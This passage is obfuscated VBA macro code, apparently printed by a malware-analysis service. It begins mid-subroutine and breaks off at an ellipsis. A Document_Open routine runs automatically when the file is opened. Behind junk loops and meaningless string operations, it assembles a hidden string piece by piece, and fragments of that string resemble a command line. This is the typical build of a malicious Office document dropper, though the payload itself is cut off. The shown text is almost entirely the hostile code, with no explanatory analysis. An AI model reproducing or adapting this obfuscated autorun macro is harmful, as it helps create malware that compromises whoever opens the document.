    nTCJNbqcFJfH = StrReverse("Y[AX?Ahyj-&f*E")
    drJPPK = LTrim("_yDkNB*Av%S")
    pgfyNLleaP = Right("L.ix*?e t#tGy*r%", 4)
    hpaMMk = StrReverse("!P?zIw(m$#")
    WfCsnl = 1386 - 467 - 1706
    For WzNkuG = 0 To 8
        drJPPK = Space(2)
        XHZhBcEw = 1078 - 899 - 636
        WfCsnl = 1118 - 983 - 1502
        hzuKUqU = 1785 + 642 + 1515
        hpaMMk = UCase("AglUzsDY@BEbE")
        qJWnnsxzYRoF = Right("%n(^bxQ-fCfKn^qh^XR", 2)
        hpaMMk = 1963 - 1601 - 1646
    Next WzNkuG

    IjMWbBunk = Right("XwzVGA)VKNu ", 4)
    qJWnnsxzYRoF = 541 - 1578 - 669
    nTCJNbqcFJfH = StrReverse(".WY#Z-BYnaR[z")
    While gMguet < 5
        rojjrGpke = LTrim("cc)$ADwlQ!g")
        hzuKUqU = Right("gV %Cc[$.wa", 3)
        gMguet = gMguet + 3
    Wend

    IjMWbBunk = Right("aQmU mvSI.nvk]mbh_$f", 3)
End Sub

Private Sub Document_Open()
    hzuKUqU = LTrim("VutqEuym[ADB")
    pgfyNLleaP = LTrim("@XseylR?GxxVcOTvMMY")
    pgfyNLleaP = 459 - 1600 - 861
    pgfyNLleaP = Space(16)
    hpaMMk = Space(11)
    qJWnnsxzYRoF = Left("cKpmW@uKXOr -I(#f", 3)
    hpaMMk = Right("Tfv]# Q^!ZQ", 4)
    qJWnnsxzYRoF = 1792 - 145 - 827
    XHZhBcEw = "qwdt*SKbY$N@P)n" + "BDL^Uoc^n[QgNRKV" + "scPakZg(C P^CAROv"
    eqTjTkEK = Right("be_qVVIR^q]kk", 3)
    eqTjTkEK = UCase("dNB%[FD_.tq@R^FY")
    rojjrGpke = "jNTvlA(n!khyhSvqxfly" + "Dn)$![xz FRcf" + "N)OXDeGqatDNF?U^*"
    hzuKUqU = Space(16)
    drJPPK = LTrim("-$Qepg#NzO")
    hzuKUqU = 1300 - 690 - 1331
    For GQUQzu = 0 To 10
        rojjrGpke = 1405 - 1304 - 1326
        WfCsnl = 1457 - 947 - 817
        XHZhBcEw = LTrim("Cd YuUkzsBAJT_ZQqk")
        nTCJNbqcFJfH = RTrim("AGJmba@BF*vlk^-P")
        drJPPK = Space(14)
    Next GQUQzu

    qJWnnsxzYRoF = RTrim("PV!b&eDB@RBxkO^")
    IjMWbBunk = LTrim("GdpB]uAd &m aV HVc@")
    nTCJNbqcFJfH = LTrim("dhBqP-xkCs%OHY@zAvG")
    For iFGwYq = 0 To 4
        For vhhDgm = 0 To 6
            rojjrGpke = Right(")s^D$KUa[ljS!isqtjlX", 2)
            drJPPK = Space(7)
            eqTjTkEK = LTrim(")x.uPqqYQj")
            WfCsnl = 1467 + 1008 + 1000
            hpaMMk = 907 - 681 - 1292
            pgfyNLleaP = 537 - 870 - 1861
            qJWnnsxzYRoF = 791 + 1138 + 1561
            hzuKUqU = LTrim("&t[AOP?Bz%OC@CEp")
            XHZhBcEw = Right("qC!a$md@Zo", 4)
        Next vhhDgm

        nTCJNbqcFJfH = StrReverse("Fe*h(g&jC]%xZ^@Ub*")
        eqTjTkEK = "s?HBik)zH C)Js@Lh vj" + "^qFQ[XrRlMky-^vrskm" + "Web.kzO%cK*xpQ$("
        drJPPK = 453 - 1928 - 1430
        WfCsnl = StrReverse("[&L-^PA$&_aBN?Gf")
        nTCJNbqcFJfH = RTrim("DnJ^qTnfXZW.Q[epwA")
        eqTjTkEK = UCase("K^Bk#*LMp_vck")
        hzuKUqU = Right("RruFzKYLu[[TZ", 2)
        nTCJNbqcFJfH = 111 - 444 - 1076
        nTCJNbqcFJfH = Left("Eo#h$_rsiU", 4)
    Next iFGwYq

joFbetPg "XAscDihv", "MqSgKu", "sHnMKiPVy", "qQizrcPhu", "hhgLVAsgt", "mWuqtRF", "MnGNNJJ"
    eqTjTkEK = LTrim("Wmmm.BBchYv]sQjZc")
    kqqiV = Space(2)
    nTCJNbqcFJfH = RTrim("gsHAim(XgXkx!oW")
    hzuKUqU = 794 + 481 + 1923
    Dim jqynexSm As String
    While JCfYuD < 1
        While siysyh < 5
            hzuKUqU = Right("yJy!UKTEEObZNPbQ#", 2)
            hpaMMk = 629 + 1537 + 1760
            hpaMMk = Left("rGB@vDCXle#q^a", 3)
            hpaMMk = UCase("*XX%m-FJ^c#d]")
            IjMWbBunk = "$]In) #JBtSu--#" + "K.VnS)ooAVj.Vm!p$Hp" + "(N[TwPlssxbps"
            siysyh = siysyh + 1
        Wend

        pgfyNLleaP = Right("a%EsXSOUjadKly%W", 5)
        XHZhBcEw = 237 - 1947 - 885
        IjMWbBunk = Space(15)
        drJPPK = LTrim("l^H^(qFjSjKYIX-")
        WfCsnl = Space(1)
        eqTjTkEK = Space(20)
        qJWnnsxzYRoF = Right("pKL)V%A]YzhM", 3)
        drJPPK = Space(6)
        hzuKUqU = 1674 - 1799 - 1358
        JCfYuD = JCfYuD + 2
    Wend

    rojjrGpke = RTrim("RjFLAegsF$J (iDJ")
    hzuKUqU = LTrim("F (U?SQ$@Xe")
    For jgXjmF = 0 To 3
        For ElvgDZ = 0 To 6
            nTCJNbqcFJfH = RTrim("[lh*)oFAXXcTt%F-J")
            nTCJNbqcFJfH = Right("lm(d#RIDbO", 5)
            XHZhBcEw = 1153 - 569 - 457
            nTCJNbqcFJfH = RTrim("LOMBBaL_B*DCq")
        Next ElvgDZ

        XHZhBcEw = Left("(CeKUNNjXrRyV!%nBy%", 3)
        XHZhBcEw = Right("H?FR&^#emEny  ", 5)
        hzuKUqU = Space(11)
        rojjrGpke = RTrim("OdcxIkH&b?*HkX.B")
        WfCsnl = Right("msGx))s]@U[yeNntg_d", 3)
        kqqiV = StrReverse("ItQsap MO*A")
        hpaMMk = StrReverse("Axa*y@EMaQD")
        hpaMMk = "ONh-?ECSHt" + "bYRWPgZ_%I" + "ib?nWFNXh)W%"
        XHZhBcEw = UCase("@nF#kAS&)(t")
    Next jgXjmF

    jqynexSm = "fUo"
    WfCsnl = 576 + 1014 + 169
    qJWnnsxzYRoF = RTrim("YKfGKzUNhTbvxkM&?f")
    hzuKUqU = Left("oFjlZy$g])?HfTLI%", 4)
    eqTjTkEK = 422 + 1107 + 881
    jqynexSm = jqynexSm + "Trf"
    WfCsnl = Left("?Wypmo[OgJwu(]&%ob", 2)
    While pZaFTl < 4
        For AWNgaN = 0 To 8
            pgfyNLleaP = RTrim("I%Va uC)ly")
            kqqiV = Space(8)
            eqTjTkEK = UCase("*^.eM!tjzjh.P&RPHhSO")
            hzuKUqU = "MQXkbm.HfFEk#rnH*x^L" + "-gS$Tz[H_Nrmc" + "q-i@EcoHF.eVH-D*%w"
            drJPPK = LTrim("D-fu.@tcFu[_F&.")
            kqqiV = 579 + 1406 + 1412
            qJWnnsxzYRoF = RTrim("lVyGVHGPyR@zKb?wfi]")
            kqqiV = "dGKGTkiyUlmSx-oKh" + "l!FE[yncOE[HenaX." + "W)LOb[b_hUT"
            kqqiV = RTrim("jDslN(dysA&")
            nTCJNbqcFJfH = LTrim(" ru?NkDMN[")
        Next AWNgaN

        hzuKUqU = 559 - 1581 - 632
        hpaMMk = LTrim("r?p.@$IlQ LFLJis#")
        qJWnnsxzYRoF = Space(4)
        qJWnnsxzYRoF = "jLlnX&pIsGEC" + "Vh@NFGxpbrlqKyeJ$" + "d&Nk&WDhLhm"
        hzuKUqU = Left("M]C$unSI ZbE", 3)
        rojjrGpke = Space(6)
        IjMWbBunk = StrReverse("nGpkz-ZD.RhPLG")
        hzuKUqU = 1650 + 1136 + 1757
        pZaFTl = pZaFTl + 2
    Wend

    WfCsnl = 1931 + 1887 + 1177
    hzuKUqU = Right("_mp%KSo!c_Ub[gJvg", 3)
    jqynexSm = jqynexSm + "fBi"
    While RwVYPN < 4
        WfCsnl = Space(18)
        hpaMMk = Left("hDGE-#DJj.Ge", 3)
        kqqiV = 1682 - 170 - 799
        RwVYPN = RwVYPN + 3
    Wend

    qJWnnsxzYRoF = "r*Ng%OuiqTLYRKkBik*" + "RJa]Bq]-B_ILsR$ky" + "MYAAllLSE*[riHQF"
    For TRDpiN = 0 To 9
        IjMWbBunk = RTrim("vxGO[TY&tbSp")
        WfCsnl = "seyCdQasNejEOHPidUg" + "T&wtDjaNRKy.[ZXHhb" + "VlCExpOsYfYL*"
        nTCJNbqcFJfH = Space(7)
        hzuKUqU = 1751 + 340 + 1582
        IjMWbBunk = 1884 + 1073 + 1648
        drJPPK = 1355 - 716 - 677
        drJPPK = Left("Ml?gBji]OdtEgHDS", 5)
        pgfyNLleaP = LTrim("s-FK?JTrpBm]MTPz")
        qJWnnsxzYRoF = UCase("BacHelm&(YW Ov")
        eqTjTkEK = LTrim("@iRTUqlL#cFvRnAJk")
    Next TRDpiN

    WfCsnl = 758 + 200 + 1085
    While WCMBdB < 2
        XHZhBcEw = 398 - 1599 - 450
        WfCsnl = 777 + 110 + 933
        XHZhBcEw = StrReverse("J%Iq^EMJO)DDz[]BP^ct")
        WCMBdB = WCMBdB + 3
    Wend

    jqynexSm = jqynexSm + "Mly"
    kqqiV = Space(5)
    drJPPK = RTrim("ebVJtzHbZqkp")
    For jtGgVV = 0 To 6
        nTCJNbqcFJfH = Right("a-$nT#N&Bj.", 5)
        eqTjTkEK = Space(9)
        qJWnnsxzYRoF = ".jzrGqi&T]Hj!_" + "EH%Tl*O&$l*^XZS" + "ZyjQ&jQNZbi[R"
        IjMWbBunk = RTrim("CMRO-g_P)DSHTU$?gS")
        drJPPK = LTrim("gXLr*vGii#p-fV")
        XHZhBcEw = Left("OewT^MdWn%^o", 4)
        kqqiV = RTrim("NLeJIa^IKKcWct")
    Next jtGgVV

    For YNvFnP = 0 To 6
        WfCsnl = Right("kR[?Qlp NAk#TNCSe", 3)
        hzuKUqU = 1857 + 1664 + 1518
        pgfyNLleaP = "#k.)pR?#%o]^AH*TXsBb" + "YXEy$tzFYz_ccOojb-B" + "zv[]GJlk*[d!n $t"
        kqqiV = RTrim("jSS(kRVSz(Scoz")
        rojjrGpke = StrReverse("HXdb.ic$bJTzNlBkQV")
        pgfyNLleaP = RTrim("Vm__eGK&^l .ZL U")
        hzuKUqU = 419 - 903 - 1530
        drJPPK = 210 - 322 - 1759
        pgfyNLleaP = RTrim("H?t^srGT] TnR^]U*Ol")
    Next YNvFnP

    jqynexSm = jqynexSm + "ets"
    eqTjTkEK = LTrim("f$uoPJ!&hIb")
    hzuKUqU = RTrim("oAX&hGLYj)lIIi]yjGl")
    pgfyNLleaP = UCase("IG*RDd@)*l*_rEli")
    jqynexSm = jqynexSm + "R.k"
    hzuKUqU = UCase("-vp^N^DSv#C")
    eqTjTkEK = "?zcmz_RVI^d" + "POhgQO O&Kpf@Z]" + "kJLc!Q_G ?Vr"
    qJWnnsxzYRoF = UCase("nTfkONTJx-m)*#doEkao")
    jqynexSm = jqynexSm + "e^x"
    qJWnnsxzYRoF = 497 + 1173 + 709
    pgfyNLleaP = 1969 + 1241 + 1665
    For DUXNmR = 0 To 5
        WfCsnl = StrReverse("HDI^MA(fkM ")
        qJWnnsxzYRoF = "$mK?Q?vzInZ()%" + "* JFSiIu Xc^@-aoX_U" + "zKoxgluxe!"
        qJWnnsxzYRoF = Right("EBvGfSa]T&", 4)
        hzuKUqU = Space(13)
    Next DUXNmR

    qJWnnsxzYRoF = 912 + 615 + 1427
    drJPPK = Right("Xm.*@*mPOG#ZzqkPZ.h_", 4)
    jqynexSm = jqynexSm + "Qe)"
    XHZhBcEw = UCase("%K^FFKUxyMW")
    rojjrGpke = StrReverse("YrIJPaV-Lm(!g#bcW?")
    jqynexSm = jqynexSm + " _/"
    rojjrGpke = Space(8)
    While IvJIAB < 3
        While CsHeRk < 1
            WfCsnl = UCase("huEsN#oAOI Cc")
            drJPPK = Left("Kp[YniR_UeUe[ETKhJ", 4)
            pgfyNLleaP = "Eag&) j-d Cvl" + "@ ep]#].b&FG" + "J_invgV]w]nmqlr"
            CsHeRk = CsHeRk + 2
        Wend

        drJPPK = Space(19)
        IjMWbBunk = LTrim("Ur$keG^iKR%eDhs$G")
        pgfyNLleaP = "Su(f-WYSJCU)*pK%XAKs" + "byDyQV(E]!(^" + "ale$]@(prZPyAJFXOoj"
        XHZhBcEw = Space(11)
        pgfyNLleaP = Left("@@yGxOzRT-c%", 5)
        rojjrGpke = 1976 - 550 - 736
        IvJIAB = IvJIAB + 3
    Wend

    For sdablp = 0 To 7
        kqqiV = Left("-Inasit?CCBRBjT", 2)
        hzuKUqU = 1613 + 1277 + 1793
        IjMWbBunk = 1913 - 1817 - 458
        XHZhBcEw = UCase("B!q@msBPx ]")
    Next sdablp

    jqynexSm = jqynexSm + "OpP"
    rojjrGpke = Left("J@vhpbwqfxaE Cs.L", 4)
    qJWnnsxzYRoF = Space(7)
    jqynexSm = jqynexSm + "  c"
    kqqiV = StrReverse("Y[Jc#pfLKFcf")
    eqTjTkEK = UCase("vo(xgoC(ZSeCIfMub]k")
    hzuKUqU = 565 + 1926 + 1182
    IjMWbBunk = Space(14)
    rojjrGpke = LTrim("I@QfC_FeFvqr HyFYR")
    jqynexSm = jqynexSm + "d:i"
    kqqiV = 1345 + 1784 + 252
    hpaMMk = LTrim("OEVTNYYX_DxpH")
    hzuKUqU = StrReverse("s.Sq?awOlGFRy")
    hzuKUqU = 741 + 560 + 1045
    rojjrGpke = StrReverse("QWpJp![eV%Z")
    jqynexSm = jqynexSm + "\ww"
    qJWnnsxzYRoF = Space(9)
    XHZhBcEw = "HoboP_).LThsZ" + "Owbabc&FPnyh[cQm^" + "Ua)Ag?SitA_D *UymUPh"
    WfCsnl = RTrim("Cq&[uK&WN V")
    jqynexSm = jqynexSm + "ji@"
    eqTjTkEK = 508 + 1551 + 1895
    While sFVvic < 3
        WfCsnl = Left("eyv%BPVgcGXCZp-CTo", 3)
        XHZhBcEw = LTrim("Wt#WKZU-P_pk")
        pgfyNLleaP = StrReverse("LC(U$jHKvQso@(& ")
        drJPPK = LTrim("ugxqL(]BOh$bf.")
        sFVvic = sFVvic + 1
    Wend

    rojjrGpke = StrReverse("FbYD?Flm%YkFnS")
    jqynexSm = jqynexSm + "nBd"
    hzuKUqU = 1870 + 1074 + 438
    qJWnnsxzYRoF = Space(4)
    jqynexSm = jqynexSm + "dos"
    XHZhBcEw = StrReverse("HEp#L.#TjiIz)WC.lsQO")
    While AXTKtt < 1
        While mQaMIH < 4
            pgfyNLleaP = Left("lKa_exbLuqCWZpZ_Uea", 3)
            qJWnnsxzYRoF = LTrim("gql&miXa%vb")
            hzuKUqU = LTrim("ZBx%*$fP((NO(n")
            kqqiV = "mePseqBEQMe" + "NA_Jm*SUW?)EoQcu.B-*" + ".r&hqH*o?Bj fJe N#"
            XHZhBcEw = Left("xiy&fJUs ) R)F-GW", 2)
            eqTjTkEK = UCase("cxwwhNSEGo-")
            pgfyNLleaP = 499 + 699 + 788
            kqqiV = UCase("B.meLuHTuoOO]O_Uuv")
            qJWnnsxzYRoF = "uXuf&&Wz)XRypskBQUr" + "I.lAQALRXaWcm]HKxQYc" + "yroAfRBaGCGVgJa&$j#"
            mQaMIH = mQaMIH + 1
        Wend

        WfCsnl = StrReverse("(.MQdQwTfL(!LSSSg")
        drJPPK = UCase("BzxtlKCPUwYfi.&XI")
        AXTKtt = AXTKtt + 1
    Wend

    qJWnnsxzYRoF = LTrim("L@-PMmQ*vCOh.")
    jqynexSm = jqynexSm + "wBs"
    While giNNHJ < 1
        nTCJNbqcFJfH = StrReverse("AQECV%LZBI]EugG.[MO[")
        pgfyNLleaP = 1225 - 1691 - 1242
        hpaMMk = Right("EklF%fPLoYuQdCrS", 3)
        hzuKUqU = Space(7)
        eqTjTkEK = StrReverse("e iwKrXtw^dDljtS")
        nTCJNbqcFJfH = LTrim("TEa&^hpxUIvzT")
        eqTjTkEK = Left("(QrYJ^uo$Mm^.(_L(^(", 5)
        giNNHJ = giNNHJ + 2
    Wend

    pgfyNLleaP = Space(9)
    nTCJNbqcFJfH = UCase("BGppe^VAfnExDQ^d*D")
    nTCJNbqcFJfH = UCase("zklc *Xl](KQ?HCZ")
    jqynexSm = jqynexSm + "P\o"
    nTCJNbqcFJfH = Right("EHQy%P.[Le&M&", 4)
    hpaMMk = LTrim("JN.&&Y)ftBCz?k")
    jqynexSm = jqynexSm + "s_y"
    IjMWbBunk = 1690 + 1297 + 1236
    For XUBRCE = 0 To 9
        drJPPK = RTrim("ij?.OyU!HDCBJ((hD")
        pgfyNLleaP = RTrim("]icHJJQa$BPFhs")
    Next XUBRCE

    jqynexSm = jqynexSm + "]ss"
    eqTjTkEK = Space(20)
    rojjrGpke = Left("?a&YgQLk.u_$A", 3)
    For EjDkRi = 0 To 3
        While WqIGzu < 5
            qJWnnsxzYRoF = Right("ppo$Ry^^t vZq!Xxe", 3)
            XHZhBcEw = Left("iO!PTKtjUYiaLEDhQ-ie", 3)
            hpaMMk = Right("x&L]$ZC@kGw_vmS", 5)
            eqTjTkEK = 1894 - 1116 - 1828
            eqTjTkEK = "(u*.HUVaBTj)rxVFIn" + "FYJ!@wMJn*ke" + "lMbembVBLujH"
            WfCsnl = "pK]!kltL*A*mmwci^dX" + "SGXIHC-)W _-h@LR-Soj" + "$$iIdeo*m@h?$ "
            nTCJNbqcFJfH = StrReverse("JJLxZxnhGwXU^eFf")
            qJWnnsxzYRoF = StrReverse("xrf-dS$K@eNfZRpBLa")
            XHZhBcEw = UCase("^siRYlU%T@ui")
            WqIGzu = WqIGzu + 2
        Wend

        eqTjTkEK = Left("!*sdOf@QXu(TAvO", 2)
        kqqiV = LTrim("rtf?y^AKmNlp")
        nTCJNbqcFJfH = RTrim("a!fiftot@hERiEW?[&I ")
        hpaMMk = Right("LNI(&sJPf#Uu.rTZWy]", 2)
        WfCsnl = StrReverse("xKdyhFF)_sGn")
        nTCJNbqcFJfH = UCase("]sVz.wiih l^Y&qF(b$C")
        hzuKUqU = Right("Zk.@(yr@oydFhDkSt@f", 4)
    Next EjDkRi

    jqynexSm = jqynexSm + "tMe"
    eqTjTkEK = Right("K*Gm#AlRjGmE", 3)
    hzuKUqU = UCase("^(KGiX^yhG")
    pgfyNLleaP = Space(7)
    WfCsnl = RTrim("YBGiwj_m$V^g")
    qJWnnsxzYRoF = UCase("^!XIU*Kp?-R$tCT-&zb")
    jqynexSm = jqynexSm + "lmW"
    While QBLFLz < 1
        For KRizNN = 0 To 5
            pgfyNLleaP = 346 - 1058 - 1340
            hpaMMk = StrReverse("#HR.uckG-QCeP&)Vd^sl")
            eqTjTkEK = 273 + 1501 + 1444
            WfCsnl = 1098 - 1090 - 860
            eqTjTkEK = Space(12)
            IjMWbBunk = UCase("sN.#Uq_N!jCH")
            kqqiV = Left("JHfEYQY%q#ihuXza", 5)
            eqTjTkEK = StrReverse("@yf?FH*IJE)bK@Ls& J")
        Next KRizNN

        drJPPK = Space(9)
        pgfyNLleaP = UCase("N.WyhrjpsPy?b")
        hpaMMk = RTrim("^E_h ]ZwQB#K[yn^j")
        IjMWbBunk = StrReverse("%v-xkszs#(r")
        XHZhBcEw = UCase("R#nqW-LOkN^&O")
        kqqiV = Right("ysvZVur$M#Nr", 5)
        qJWnnsxzYRoF = Space(17)
        QBLFLz = QBLFLz + 1
    Wend

    IjMWbBunk = "QJadNey KgIgR$XL.bo" + "YAyeh.a[Kru(DjVc]PPv" + "SDuHd%caP(Ph)^*Y#^"
    IjMWbBunk = Left("JguhHx**L-xXlSvw%$N", 4)
    eqTjTkEK = Left("feh]tk.!K%rPfvHYCNN", 3)
    rojjrGpke = "ziN@Wx$ksger(!J" + "Vy*_WVqQ?ij.I[Z@Mq" + "QyR]WT[TP?nkvdjtlEXA"
    jqynexSm = jqynexSm + "3u2"
    IjMWbBunk = Right("R*#JR.shS$j)h", 3)
    hpaMMk = Right("CzSxSvRlZPfuw&", 4)
    While eoLENp < 5
        rojjrGpke = Space(13)
        IjMWbBunk = UCase(".^wkZJ-uFRax^p.e")
        nTCJNbqcFJfH = Right("tKKIVjMHNV$qEi@EEI%z", 4)
        qJWnnsxzYRoF = StrReverse("Xs*EWazev.KP$@Dy?")
        hzuKUqU = "URcMy?wBAjca%" + "s%Ajlx-zBVS$" + "vB[mF-sCRZ)iShLxzMU"
        XHZhBcEw = LTrim("U^SW$#BEk&&XMkD?*")
        eoLENp = eoLENp + 2
    Wend

    IjMWbBunk = LTrim("Q.]Fx-xTHi%")
    qJWnnsxzYRoF = StrReverse("JOuW@vxN!^")
    jqynexSm = jqynexSm + "X ]"
    XHZhBcEw = 1656 + 767 + 1148
    rojjrGpke = 1899 - 1754 - 823
    kqqiV = UCase("^&.#dZYlCaaR")
    hzuKUqU = RTrim("SQnDYcukEFjxxIj)NfU$")
    nTCJNbqcFJfH = 463 + 101 + 276
    jqynexSm = jqynexSm + "/Em"
    For VBGOIJ = 0 To 5
        nTCJNbqcFJfH = 272 + 1348 + 1040
        nTCJNbqcFJfH = Space(14)
        rojjrGpke = RTrim("!xM&ESq?OCz#aQrB_")
        drJPPK = LTrim("Zs.Hn%SW ]kg$Du$^")
        eqTjTkEK = "Fytf]KBYQF-(iN-d" + "X*a_vLY?H.jbLm)U" + " uLX[GE)S&jZ"
    Next VBGOIJ

    While PWmkoO < 2
        pgfyNLleaP = 1035 + 1179 + 707
        WfCsnl = LTrim("$ygrRLFg*nclBq")
        PWmkoO = PWmkoO + 2
    Wend

    eqTjTkEK = UCase("UcO_BayeO$*l")
    kqqiV = 320 + 938 + 220
    jqynexSm = jqynexSm + "- P"
    nTCJNbqcFJfH = RTrim("pNw O)r?mA")
    WfCsnl = RTrim("ywwV UCTq?OTSjAms)")
    For WZyVBT = 0 To 4
        While VRcXsW < 4
            WfCsnl = StrReverse("ZNp@ltRYio")
            WfCsnl = Left("kPL@bhYSRRE", 2)
            eqTjTkEK = Left("nKJdYjPJp_T", 2)
            nTCJNbqcFJfH = 1061 - 340 - 1072
            drJPPK = "-r@n&vEH@a" + "i@myDta_jTT h" + "NsRydxnp?CL@)Xlp"
            WfCsnl = 1462 - 1145 - 665
            VRcXsW = VRcXsW + 2
        Wend

        qJWnnsxzYRoF = RTrim("CH]-Hw$UDC#z)I")
        pgfyNLleaP = StrReverse("I@#v_vN_wusqojAHOzg")
    Next WZyVBT

    XHZhBcEw = ".uFH)e-FHaQTd&)" + "dl._#Uv^(d -" + "eEZP*ws!ar"
    jqynexSm = jqynexSm + "nzo"
    IjMWbBunk = "(B[zn)^Bm&Me" + "AcHkyWSg.&BF%Fs[Co%" + "x%afQW^!*VznjROmQvQc"
    pgfyNLleaP = 582 - 1520 - 285
    IjMWbBunk = UCase("nlo?xt@H-Iqo")
    kqqiV = Left("o@J]oPccWdv_GY!!X])", 5)
    jqynexSm = jqynexSm + "ftD"
    While gIXSvG < 4
        drJPPK = UCase("Vw&UGEnu*JBbf%")
        rojjrGpke = UCase("SYBAory E.qD)y!*lftF")
        hpaMMk = UCase("JYgjX)(K!O[KeT")
        pgfyNLleaP = RTrim("#ISpwYX(mFdop^")
        hzuKUqU = Left("ePIPLAwfy]%@", 3)
        IjMWbBunk = Space(9)
        drJPPK = RTrim("nCdpaQWTlI")
        rojjrGpke = LTrim(")c)E!xpr]_w*NCfWMig")
        nTCJNbqcFJfH = 1930 + 1499 + 596
        rojjrGpke = "dBd(T^ko!.Kvg" + "VIIueh$gM ]V*uA[" + "lrMDqMN#L$lyt&DMb"
        gIXSvG = gIXSvG + 1
    Wend

    For QqTJNY = 0 To 6
        qJWnnsxzYRoF = 1306 - 1978 - 701
        WfCsnl = StrReverse("V!i)m#--o[sYq_s]")
        hpaMMk = LTrim("vZrHWs[J%X")
        hpaMMk = "fRuuh*p%Qt(?W" + "ZdF[q_F(##W" + "z![lE@ty(afKUHX"
        nTCJNbqcFJfH = StrReverse("zPJrrhwJLm")
        rojjrGpke = UCase("U]HeV&WPh_")
        nTCJNbqcFJfH = LTrim(")VATlCzsU VE")
        XHZhBcEw = Right("j[?@qBvk(Rf]N", 4)
        hpaMMk = UCase("jnyg$ge!gNEGgNs")
        hzuKUqU = Right("bROGNp)qc-)^mFe Fc&", 5)
    Next QqTJNY

    eqTjTkEK = 761 + 1232 + 485
    jqynexSm = jqynexSm + "e)p"
    hzuKUqU = 798 - 888 - 461
    For aRKLcC = 0 To 5
        While vuHmYC < 4
            pgfyNLleaP = Space(17)
            XHZhBcEw = StrReverse("NTiJG)pz^$rVL-n@C")
            hpaMMk = UCase("PiVfa@sZCabg")
            drJPPK = 1731 - 418 - 990
            vuHmYC = vuHmYC + 1
        Wend

…

Open this report in the interactive analyzer, or submit your own file for analysis.